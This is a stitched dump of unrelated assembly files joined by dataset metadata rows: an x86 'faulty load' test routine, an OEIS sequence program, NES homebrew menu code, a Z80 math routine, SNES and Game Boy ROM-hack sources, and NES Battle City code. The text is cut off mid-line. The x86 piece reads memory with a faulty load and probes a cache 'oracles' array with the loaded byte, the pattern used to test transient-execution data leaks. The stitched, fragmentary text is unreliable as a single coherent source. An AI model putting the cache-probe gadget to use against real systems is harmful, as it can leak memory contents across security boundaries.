and $49287, %rdx lea addresses_WC_ht+0x136cd, %rax nop nop nop nop nop add %r9, %r9 mov $0x6162636465666768, %rsi movq %rsi, %xmm7 and $0xffffffffffffffc0, %rax movaps %xmm7, (%rax) nop nop nop sub %r8, %r8 lea addresses_UC_ht+0xbcd, %r9 nop nop nop add $2031, %rax movb $0x61, (%r9) nop and %rdx, %rdx lea addresses_A_ht+0x3dcd, %rax nop nop nop and %rdi, %rdi mov $0x6162636465666768, %r8 movq %r8, %xmm1 and $0xffffffffffffffc0, %rax vmovaps %ymm1, (%rax) nop nop nop sub %rdx, %rdx lea addresses_UC_ht+0x1dfcd, %rbx nop add $24833, %rdx mov (%rbx), %ax nop nop add $36099, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r8 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WC+0x13dcd, %rsi nop nop nop nop add %r13, %r13 movw $0x5152, (%rsi) cmp $22247, %rbp // REPMOV lea addresses_A+0xcc8d, %rsi lea addresses_PSE+0x35cd, %rdi xor %r14, %r14 mov $90, %rcx rep movsw nop nop nop and $1116, %rdx // Store lea addresses_A+0x854d, %rbp nop cmp $44820, %r14 movl $0x51525354, (%rbp) dec %r8 // Faulty Load lea addresses_WC+0x13dcd, %rdx xor %rdi, %rdi vmovups (%rdx), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rcx lea oracles, %rdi and $0xff, %rcx shlq $12, %rcx mov (%rdi,%rcx,1), %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_PSE'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
34.180995
2,999
0.655811
c2927703bedd42c5aa38f8875463cf80f919574d
1,543
asm
Assembly
programs/oeis/250/A250761.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/250/A250761.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/250/A250761.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A250761: Number of (6+1) X (n+1) 0..2 arrays with nondecreasing x(i,j)-x(i,j-1) in the i direction and nondecreasing x(i,j)+x(i-1,j) in the j direction. ; 9585,22197,40023,63063,91317,124785,163467,207363,256473,310797,370335,435087,505053,580233,660627,746235,837057,933093,1034343,1140807,1252485,1369377,1491483,1618803,1751337,1889085,2032047,2180223,2333613,2492217,2656035,2825067,2999313,3178773,3363447,3553335,3748437,3948753,4154283,4365027,4580985,4802157,5028543,5260143,5496957,5738985,5986227,6238683,6496353,6759237,7027335,7300647,7579173,7862913,8151867,8446035,8745417,9050013,9359823,9674847,9995085,10320537,10651203,10987083,11328177,11674485,12026007,12382743,12744693,13111857,13484235,13861827,14244633,14632653,15025887,15424335,15827997,16236873,16650963,17070267,17494785,17924517,18359463,18799623,19244997,19695585,20151387,20612403,21078633,21550077,22026735,22508607,22995693,23487993,23985507,24488235,24996177,25509333,26027703,26551287 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $5,$0 add $5,1 mov $6,0 mov $11,$0 lpb $5 mov $0,$11 sub $5,1 sub $0,$5 mov $7,$0 mov $9,2 lpb $9 sub $9,1 add $0,$9 sub $0,1 mov $3,2 add $3,$0 trn $3,3 add $3,3 mul $3,729 sub $3,1 mov $10,$9 lpb $10 mov $8,$3 sub $10,1 lpe lpe lpb $7 mov $7,0 sub $8,$3 lpe mov $3,$8 mul $3,3 add $3,3027 add $6,$3 lpe add $1,$6 lpe mov $0,$1
31.489796
816
0.674012
fe980c962fa808e15795464d06d001f97edfea3e
2,283
asm
Assembly
game/logic/game_states/donation_screen.asm
benoitryder/super-tilt-bro
8d5035f54e906a401d0808c2e104d32fa1fadd7f
[ "WTFPL" ]
2
2020-09-29T16:43:35.000Z
2021-08-24T16:41:22.000Z
game/logic/game_states/donation_screen.asm
pompshuffle/super-tilt-bro
d0f836290223085d7794c445c696e1c644c674d2
[ "WTFPL" ]
null
null
null
game/logic/game_states/donation_screen.asm
pompshuffle/super-tilt-bro
d0f836290223085d7794c445c696e1c644c674d2
[ "WTFPL" ]
null
null
null
init_donation_screen: .( SWITCH_BANK(#DATA_BANK_NUMBER) ; Construct nt buffers for palettes (to avoid changing it mid-frame) lda #<palette_donation sta tmpfield1 lda #>palette_donation sta tmpfield2 jsr construct_palettes_nt_buffer ; Copy background from PRG-rom to PPU nametable lda #<nametable_donation sta tmpfield1 lda #>nametable_donation sta tmpfield2 jsr draw_zipped_nametable ; Initialize common menus effects jsr re_init_menu ; Initialize state lda #0 sta donation_method rts .) donation_screen_tick: .( jsr reset_nt_buffers SWITCH_BANK(#DATA_BANK_NUMBER) ; Play common menus effects jsr tick_menu ; Check inputs ldx #0 check_one_controller: lda controller_a_btns, x bne next_controller lda controller_a_last_frame_btns, x beq next_controller cmp #CONTROLLER_BTN_LEFT beq go_left cmp #CONTROLLER_BTN_RIGHT beq go_right cmp #CONTROLLER_BTN_B beq go_back cmp #CONTROLLER_BTN_START beq go_next_screen cmp #CONTROLLER_BTN_A beq go_next_screen next_controller: inx cpx #2 bne check_one_controller jmp no_press go_back: .( lda #GAME_STATE_MODE_SELECTION jsr change_global_game_state ;jmp no_press ; useless, change_global_game_state does not return .) go_next_screen: .( ldx donation_method lda option_to_game_state, x jsr change_global_game_state ;jmp no_press ; useless, change_global_game_state does not return .) go_left: go_right: .( dec donation_method bpl ok lda #1 sta donation_method ok: ;jmp no_press ; fallthrough .) no_press: ; Highlight currently selected option lda #<nt_header sta tmpfield1 lda #>nt_header sta tmpfield2 ldx donation_method lda nt_payload_addr_lsb, x sta tmpfield3 lda nt_payload_addr_msb, x sta tmpfield4 jsr construct_nt_buffer end: rts option_to_game_state: .byt GAME_STATE_DONATION_BTC, GAME_STATE_DONATION_PAYPAL nt_header: .byt $23, $f1, $06 nt_payload_btc: .byt %00001010, %00001010, %00001010, %00000000, %00000000, %00000000 nt_payload_paypal: .byt %00000000, %00000000, %00000000, %00001010, %00001010, %00001010 nt_payload_addr_lsb: .byt <nt_payload_btc, <nt_payload_paypal nt_payload_addr_msb: .byt >nt_payload_btc, >nt_payload_paypal .)
17.697674
71
0.756899
57f848d6314d64753b46433477e8adf8eb2cb976
670
asm
Assembly
programs/oeis/229/A229587.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/229/A229587.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/229/A229587.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A229587: Number of defective 3-colorings of a 2 X n 0..2 array connected horizontally and antidiagonally with exactly one mistake, and colors introduced in row-major 0..2 order ; 0,6,28,116,444,1620,5724,19764,67068,224532,743580,2440692,7951932,25745364,82904796,265720500,848179836,2697594516,8551948572,27033340788,85232507580,268094978388,841477302108,2636009007156,8242758323964,25732468879380,80209988360604,249667710249204,776116366249788,2409688805255892,7473085535287260 sub $0,1 cal $0,268622 ; Number of n X 2 0..2 arrays with some element plus some horizontally or vertically adjacent neighbor totalling two no more than once. add $1,$0 div $1,3 mul $1,2
74.444444
302
0.820896
2849e18264355888c74432cf74d317a384a21c16
383
asm
Assembly
libsrc/math/zxmath/ldexp.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/math/zxmath/ldexp.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/math/zxmath/ldexp.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp PUBLIC ldexp EXTERN dload EXTERN fa ; ; double ldexp (double x, int exp); ; Generate value from significand and exponent ; Returns the result of multiplying x (the significand) by 2 ; raised to the power of exp (the exponent). ldexp: ld hl,4 add hl,sp call dload ld hl,2 add hl,sp ld c,(hl) ld hl,fa+5 ld a,(hl) and a ret z add c ld (hl),a ret
13.206897
61
0.681462
bdb7e7fc44e7176b0eead96f2dbb3a36deaf6bd5
2,051
asm
Assembly
bahamut/source/combat-hdma.asm
higan-emu/bahamut-lagoon-translation-kit
6f08de5b92b597c0b9ecebd485cc975b99acfc13
[ "0BSD" ]
2
2021-08-15T04:10:10.000Z
2021-08-15T20:14:13.000Z
bahamut/source/combat-hdma.asm
higan-emu/bahamut-lagoon-translation-kit
6f08de5b92b597c0b9ecebd485cc975b99acfc13
[ "0BSD" ]
1
2022-02-16T02:46:39.000Z
2022-02-16T04:30:29.000Z
bahamut/source/combat-hdma.asm
higan-emu/bahamut-lagoon-translation-kit
6f08de5b92b597c0b9ecebd485cc975b99acfc13
[ "0BSD" ]
1
2021-12-25T11:34:57.000Z
2021-12-25T11:34:57.000Z
namespace combat { seek(codeCursor) //there is a bug in S-CPU A where DMAs can fail if the last HDMA transfer had //targeted BBADx=$00. this bug triggered on the experience screen after combat. //this mitigation works by moving the HDMA to $21ff+$2100 instead. //there is a second bug where writes to $2100 latch on the rising edge of the //clock cycle, causing $2100 to become the previous value on the data bus (MDR.) //this caused sprite glitches on 3-CHIP PPUs during Hblank tile fetching. //this is mitigated by ensuring $21ff writes the same value as $2100 will. namespace hdmaMitigation { //originally the HDMA table was at $7e5600-$7e5608. //the table has been moved to SRAM because it needs four additional bytes now. variable(16, hdmaTable) enqueue pc seek($c11341); { php; sep #$20; rep #$10 phb; ldb #$31 phx; ldx #$8080 lda #$10; sta.w hdmaTable+$0; stx.w hdmaTable+$1 lda #$60; sta.w hdmaTable+$3; stx.w hdmaTable+$4 lda #$56; sta.w hdmaTable+$6; stx.w hdmaTable+$7 lda #$08; sta.w hdmaTable+$9; stx.w hdmaTable+$a stz.w hdmaTable+$c lda #$01; sta $4370 lda #$ff; sta $4371 lda.b #hdmaTable >> 0; sta $4372; sta $4378 lda.b #hdmaTable >> 8; sta $4373; sta $4379 lda.b #hdmaTable >> 16; sta $4374 plx; plb; plp assert(pc() == $c11395) } seek($c102f5); { jsl write; nop #4 assert(pc() == $c102fd) } seek($c1c14f); { lda hdmaTable+$0; dec; sta hdmaTable+$0 lda hdmaTable+$3; inc; sta hdmaTable+$3 assert(pc() == $c1c161) } seek($c1c164); { lda hdmaTable+$0; inc; sta hdmaTable+$0 lda hdmaTable+$3; dec; sta hdmaTable+$3 assert(pc() == $c1c176) } seek($c28b86); { lda #$0f; sta hdmaTable+$0 lda #$61; sta hdmaTable+$3 assert(pc() == $c28b92) } seek($c2ec60); { lda #$10; sta hdmaTable+$0 lda #$60; sta hdmaTable+$3 assert(pc() == $c2ec6c) } dequeue pc function write { sta hdmaTable+$4; sta hdmaTable+$5 sta hdmaTable+$7; sta hdmaTable+$8 rtl } } codeCursor = pc() }
28.887324
80
0.638225
fc2aff4f9bd627ec3ba2325f47b694f03073ee3c
944
asm
Assembly
gfx/font.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
gfx/font.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
gfx/font.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
PokemonLogoGraphics: INCBIN "gfx/title/pokemon_logo.2bpp" FontGraphics:: INCBIN "gfx/font/font.1bpp" FontGraphicsEnd:: ABTiles: INCBIN "gfx/font/AB.2bpp" HpBarAndStatusGraphics:: INCBIN "gfx/font/font_battle_extra.2bpp" HpBarAndStatusGraphicsEnd:: BattleHudTiles1: INCBIN "gfx/battle/battle_hud_1.1bpp" BattleHudTiles1End: BattleHudTiles2: INCBIN "gfx/battle/battle_hud_2.1bpp" BattleHudTiles3: INCBIN "gfx/battle/battle_hud_3.1bpp" BattleHudTiles3End: NintendoCopyrightLogoGraphics: INCBIN "gfx/splash/copyright.2bpp" GamefreakLogoGraphics: INCBIN "gfx/title/gamefreak_inc.2bpp" GamefreakLogoGraphicsEnd: TextBoxGraphics:: INCBIN "gfx/font/font_extra.2bpp" TextBoxGraphicsEnd:: PokedexTileGraphics: INCBIN "gfx/pokedex/pokedex.2bpp" PokedexTileGraphicsEnd: WorldMapTileGraphics: INCBIN "gfx/town_map/town_map.2bpp" WorldMapTileGraphicsEnd: PlayerCharacterTitleGraphics: INCBIN "gfx/title/player.2bpp" PlayerCharacterTitleGraphicsEnd:
29.5
65
0.841102
62d4b1e7a8d84f1412efa64ca1f590e3d6d4050a
119
asm
Assembly
src/test/resources/data/potests/test29-include.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
36
2020-06-29T06:52:26.000Z
2022-02-10T19:41:58.000Z
src/test/resources/data/potests/test29-include.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
39
2020-07-02T18:19:34.000Z
2022-03-27T18:08:54.000Z
src/test/resources/data/potests/test29-include.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
7
2020-07-02T06:00:05.000Z
2021-11-28T17:31:13.000Z
; Test case: for some reason macros within REPTs had funny behavior ld_val: macro ?par1 ld a,?par1 ld (val),a endm
17
67
0.722689
ac18b7c8a392ce1cfd18bcc6fb4ffb247affe92f
2,342
asm
Assembly
maps/Route24.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
maps/Route24.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
maps/Route24.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
object_const_def ; object_event constants const ROUTE24_ROCKET Route24_MapScripts: db 0 ; scene scripts db 0 ; callbacks Route24RocketScript: faceplayer playmusic MUSIC_ROCKET_ENCOUNTER opentext writetext Route24RocketSeenText waitbutton closetext winlosstext Route24RocketBeatenText, -1 loadtrainer GRUNTM, GRUNTM_31 startbattle dontrestartmapmusic reloadmapafterbattle playmusic MUSIC_ROCKET_ENCOUNTER opentext writetext Route24RocketAfterBattleText buttonsound special FadeOutMusic writetext Route24RocketDisappearsText waitbutton closetext special FadeBlackQuickly special ReloadSpritesNoPalettes disappear ROUTE24_ROCKET pause 25 special FadeInQuickly playmapmusic end Route24RocketSeenText: text "Hey, kid! Me am a" line "TEAM ROCKET member" cont "kind of guy!" para "Come from another" line "country, a trainer" cont "number one, me!" para "Think I did, if" line "stop the energy," para "be big panic for" line "here people!" para "Secret it is my" line "mission, so tell" cont "you I not!" para "But! If win you do" line "versus me, a man I" para "be and mine secret" line "to you I tell." para "Hey, kid! Battle" line "begin we do!" done Route24RocketBeatenText: text "Ayieeeh! No, no," line "no, believe it I" cont "can't!" para "Strong very much" line "be you! Match I am" cont "not to you!" done Route24RocketAfterBattleText: text "OK. Tell you mine" line "secret will I." para "MACHINE PART steal" line "by me, hide it I" para "did in GYM of the" line "CERULEAN." para "Inside water put" line "it I did. Look for" para "in water center of" line "GYM at." para "But you forget me" line "not!" para "Beat you for sure" line "will TEAM ROCKET." para "Come from JOHTO" line "will they, mine" para "friends, yes. Will" line "revenge they are." done Route24RocketDisappearsText: text "…" para "You say what? TEAM" line "ROCKET bye-bye a" para "go-go? Broken it" line "is says you?" para "Oh, no! Should I" line "do what now on" cont "from, me?" done Route24_MapEvents: db 0, 0 ; filler db 0 ; warp events db 0 ; coord events db 0 ; bg events db 1 ; object events object_event 8, 7, SPRITE_ROCKET, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, Route24RocketScript, EVENT_ROUTE_24_ROCKET
18.015385
150
0.730145
a5b58bc39245255ef7fbacd319a581d9acc7c97a
1,539
asm
Assembly
programs/oeis/195/A195042.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/195/A195042.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/195/A195042.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A195042: Concentric 9-gonal numbers. ; 0,1,9,19,36,55,81,109,144,181,225,271,324,379,441,505,576,649,729,811,900,991,1089,1189,1296,1405,1521,1639,1764,1891,2025,2161,2304,2449,2601,2755,2916,3079,3249,3421,3600,3781,3969,4159,4356,4555,4761,4969,5184,5401,5625,5851,6084,6319,6561,6805,7056,7309,7569,7831,8100,8371,8649,8929,9216,9505,9801,10099,10404,10711,11025,11341,11664,11989,12321,12655,12996,13339,13689,14041,14400,14761,15129,15499,15876,16255,16641,17029,17424,17821,18225,18631,19044,19459,19881,20305,20736,21169,21609,22051,22500,22951,23409,23869,24336,24805,25281,25759,26244,26731,27225,27721,28224,28729,29241,29755,30276,30799,31329,31861,32400,32941,33489,34039,34596,35155,35721,36289,36864,37441,38025,38611,39204,39799,40401,41005,41616,42229,42849,43471,44100,44731,45369,46009,46656,47305,47961,48619,49284,49951,50625,51301,51984,52669,53361,54055,54756,55459,56169,56881,57600,58321,59049,59779,60516,61255,62001,62749,63504,64261,65025,65791,66564,67339,68121,68905,69696,70489,71289,72091,72900,73711,74529,75349,76176,77005,77841,78679,79524,80371,81225,82081,82944,83809,84681,85555,86436,87319,88209,89101,90000,90901,91809,92719,93636,94555,95481,96409,97344,98281,99225,100171,101124,102079,103041,104005,104976,105949,106929,107911,108900,109891,110889,111889,112896,113905,114921,115939,116964,117991,119025,120061,121104,122149,123201,124255,125316,126379,127449,128521,129600,130681,131769,132859,133956,135055,136161,137269,138384,139501 pow $0,2 mov $1,$0 mov $2,$0 div $2,4 mul $2,5 add $1,$2
153.9
1,441
0.812216
ac3425684b18be7cc7096598cce0bbec129c9d88
421
asm
Assembly
programs/oeis/032/A032509.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/032/A032509.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/032/A032509.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A032509: a(n) = round(tan(Pi*(1-1/n)/2)). ; 0,1,2,2,3,4,4,5,6,6,7,8,8,9,10,10,11,11,12,13,13,14,15,15,16,17,17,18,18,19,20,20,21,22,22,23,24,24,25,25,26,27,27,28,29,29,30,31,31,32,32,33,34,34,35,36,36,37,38,38,39,39,40,41,41,42,43,43,44 add $0,3 mov $3,2 lpb $0,1 add $3,$0 mov $5,8 mul $5,$3 trn $3,10 add $4,$5 add $1,$4 sub $1,$3 div $1,11 mov $2,11 add $2,$1 clr $0,1 lpe mov $1,$2 sub $1,14
20.047619
194
0.555819
957cdfb713904b32bd916e97c681ff91a91a2d7b
577
asm
Assembly
programs/oeis/002/A002313.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/002/A002313.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/002/A002313.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A002313: Primes congruent to 1 or 2 modulo 4; or, primes of form x^2 + y^2; or, -1 is a square mod p. ; 2,5,13,17,29,37,41,53,61,73,89,97,101,109,113,137,149,157,173,181,193,197,229,233,241,257,269,277,281,293,313,317,337,349,353,373,389,397,401,409,421,433,449,457,461,509,521,541,557,569,577,593,601,613,617,641,653,661,673,677,701,709,733,757,761,769,773,797,809,821,829,853,857,877,881,929,937,941,953,977,997,1009,1013,1021,1033,1049,1061,1069,1093,1097,1109,1117,1129,1153,1181,1193,1201,1213,1217,1229 seq $0,280084 ; 1 together with the Pythagorean primes. max $0,2
96.166667
406
0.731369
de8135e9a40d64fd2a43d3d9475dfc520b937e53
82,945
asm
Assembly
Code.asm
romhack/BC-BackFromSource
d916ca2e338c3330ea4234dd2ac6c9b115ad6776
[ "MIT" ]
4
2015-12-18T18:39:38.000Z
2021-05-20T07:40:03.000Z
Code.asm
romhack/BC-BackFromSource
d916ca2e338c3330ea4234dd2ac6c9b115ad6776
[ "MIT" ]
null
null
null
Code.asm
romhack/BC-BackFromSource
d916ca2e338c3330ea4234dd2ac6c9b115ad6776
[ "MIT" ]
1
2015-11-07T20:42:47.000Z
2015-11-07T20:42:47.000Z
; Griever's Stuff ; -=#Battle City - Back From Source#=- INCLUDE RAM.asm; Описание всех переменных вынесено в отдельный файл. INCLUDE REGS.asm; Регистры вынесены в отдельный файл. ; ═══════════════════════════════════════════════════════════════════════════ ; Заголовок формата iNES: .BYTE 'NES',$1A ;String "NES^Z" used to recognize .NES files .BYTE 2 ;Number of 16kB ROM banks. .BYTE 1 ;Number of 8kB VROM banks. DSB 10,0 ; ═══════════════════════════════════════════════════════════════════════════ $ = $8000 INCLUDE Level.asm; В верхнем окне будут уровни. PAD $C000; в нижнем окне - код. ; ═══════════════════════════════════════════════════════════════════════════ ; Segment type: Pure code StaffString: .BYTE 'RYOUITI OOKUBO TAKEFUMI HYOUDOUJUNKO OZAWA ' ; DATA XREF: StaffStr_Store:-r ; StaffStr_Check+5r ; ─────────────────────────────────────────────────────────────────────────── RESET: ; DATA XREF: ROM:FFFCo ROM:FFFEo SEI LDA #00010000b STA PPU_CTRL_REG1 ; Бэкграунду второй знакогенератор CLD LDX #2 Wait: ; CODE XREF: ROM:C07Cj ROM:C084j LDA PPU_STATUS ; PPU Status Register (R) BPL Wait LDA #00000110b STA PPU_CTRL_REG2 ; PPU Control Register #2 (W) DEX BNE Wait LDX #$7F ; '' ; Вершина стека TXS JSR Reset_ScreenStuff LDA #0 STA Scroll_Byte STA PPU_REG1_Stts JSR Set_PPU BEGIN: 